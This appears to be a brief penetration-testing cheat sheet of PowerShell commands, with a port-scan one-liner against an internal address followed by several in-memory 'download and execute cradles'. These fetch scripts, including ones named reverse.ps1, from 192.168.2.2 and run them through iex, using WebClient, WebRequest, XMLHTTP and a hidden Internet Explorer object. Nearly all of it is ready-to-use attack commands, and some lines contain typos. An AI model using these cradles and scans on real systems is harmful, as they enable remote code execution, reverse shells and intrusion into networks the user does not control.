Internal Network Enumeration

• Enumeração de portas com o Powershell

 1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.0.0.100",$_)) "Port $_ is open!"} 2>$null

• Invoking a PowerShell Module

 Import-Module <Module_Name.ps1>
 
  . .\<Script_Name>.ps1

• PowerShell in-memory Download and Execute cradle :

 iex (iwr 'http://192.168.2.2/file.ps1')

$down = [System.NET.WebRequest]::Create("http://192.168.2.2/file.ps1") $read = $down.GetResponse()
IEX ([System.IO.StreamReader]($read.GetResponseStream())).ReadToEnd()

$file=New-Object -ComObject Msxml2.XMLHTTP;$file.open('GET','http://192.168.2.2/file.ps1',$false);$file.sen d();iex $file.responseText

iex (New-Object Net.WebClient).DownloadString('https://192.168.2.2/reverse.ps1')

$ie=New-Object -ComObject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://192.168.2.2/reverse.ps1 ‘); sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response